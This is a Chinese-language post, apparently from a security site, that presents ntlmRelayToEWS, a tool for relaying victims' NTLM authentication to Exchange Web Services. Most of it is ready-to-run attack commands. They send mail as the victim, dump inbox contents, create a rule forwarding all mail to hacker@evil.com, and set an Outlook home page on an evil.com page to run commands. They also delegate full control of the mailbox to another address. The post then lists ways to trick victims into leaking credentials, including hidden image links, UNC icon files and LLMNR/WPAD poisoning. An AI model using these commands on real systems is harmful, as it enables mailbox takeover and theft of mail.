标题 | 简介 | 类型 | 公开时间 | ||||||||||
|
|||||||||||||
|
|||||||||||||
详情 | |||||||||||||
[SAFE-ID: JIWO-2025-1861] 作者: 对不起 发表于: [2018-09-08]
本文共 [377] 位读者顶过
ntlmRelayToEWS是一种用于在Exchange Web服务(EWS)上执行ntlm中继攻击的工具。它在端口445上生成SMBListener,在端口80上生成HTTPListener,等待来自受害者的传入连接。一旦受害者连接到其中一个侦听器,就会发生NTLM协商并将其中继到目标EWS服务器。 [出自:jiwo.org] 显然,这个工具没有实现整个EWS API,只是实现了一些在某些攻击情形中有用的服务。不过将来我可能会增加更多内容进去。下面我们来具体谈谈它。 1.限制和改进 Exchange的版本: 我已经针对Exchange Server 2010 SP2测试了这个工具(这已经非常古老了),因此所有EWS SOAP请求模板以及EWS响应的解析仅针对此版本的Exchange进行了测试。虽然我没有对自己进行过测试,但有些人报告说这个工具也是针对Exchange 2016服务器开箱即用的(即:不对SOAP请求模板进行任何更改)。 如果这些SOAP请求不能在另一个版本的Exchange上运行,那么通过在跟踪模式下使用Microsoft EWS Managed API创建SOAP请求模板以匹配更新版本并捕获正确的SOAP请求(这就是我的方式)非常简单就做到了 !)。 EWS SOAP客户端: 我原本希望使用SOAP客户端来获得一个适当的接口,以便基于Exchange WSDL自动创建所有SOAP请求。我尝试使用'zeep',但是我Uranus灵光一闪,让它使用了Exchange WSDL,因为它需要下载外部名称空间,因此需要互联网连接。此外,对于'zeep',使用自定义传输会话需要Requests.session,这不是我们默认使用HTTPClientRelay的HTTP(S)会话类型:它需要重构HTTPClientRelay以使用'请求'或简单地使用zeep.client_message()创建消息,然后使用我们已经拥有的中继会话发送它。不知道我的这些做法会不会显得我是一个蹩脚的开发者? 2.使用前提 ntlmRelayToEWS需要正确/干净地安装Impacket。因此,你需要按照他们的说明获得Impacket的工作版本。 3.用法 ntlmRelayToEWS能够实现以下攻击,这些攻击都是代表中继用户(受害者)进行的。 请参阅帮助以获取其他信息:./ ntlmRelayToEWS -h。使用–verbose或-v标志获取更多调试信息。 发送邮件 将HTML格式的电子邮件发送到目标列表: ./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r sendMail -d "user1@corporate.org,user2@corporate.com" -s Subject -m sampleMsg.html GetFolder 从预定义文件夹(收件箱,已发送项目,日历,任务)中检索所有项目: ./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r getFolder -f inbox forwardRule 创建一个邪恶的转发规则,将受害者的所有传入邮件转发到另一个电子邮件地址: ./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r forwardRule -d hacker@evil.com 设为首页 通过指定URL定义文件夹主页(通常用于“收件箱”文件夹)。这种由SensePost / Etienne Stalmans发现的技术允许通过伪造特定的HTML页面在受害者的Outlook程序中执行仲裁命令:Outlook主页 – 另一个标尺向量: ./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r setHomePage -f inbox -u http://path.to.evil.com/evilpage.html addDelegate 在受害者的主邮箱上设置委托地址。换句话说,受害者将其邮箱的控制权委托给其他人。完成后,这意味着委派的地址可以完全控制受害者的邮箱,只需将其作为Outlook中的附加邮箱打开即可: ./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r addDelegate -d delegated.address@corporate.org 如何让受害者给你转发他们的凭证? 为了让受害者将他的凭证发送到ntlmRelayToEWS,您可以使用以下任何一种众所周知的方法: 使用HTTP或SMB向受害者发送带有隐藏图片的电子邮件,其中“src”属性指向ntlmRelayToEWS服务器。检查Invoke-SendEmail.ps1脚本以实现此目的。 使用UNC路径创建一个“icon”属性指向ntlmRelayToEWS的链接文件,让受害者使用此链接浏览文件夹 执行LLMNR,NBNS或WPAD中毒(例如,考虑Responder.py或Invoke-Inveigh)以从受害者发送到ntlmRelayToEWS的任何相应的SMB或HTTP流量。 |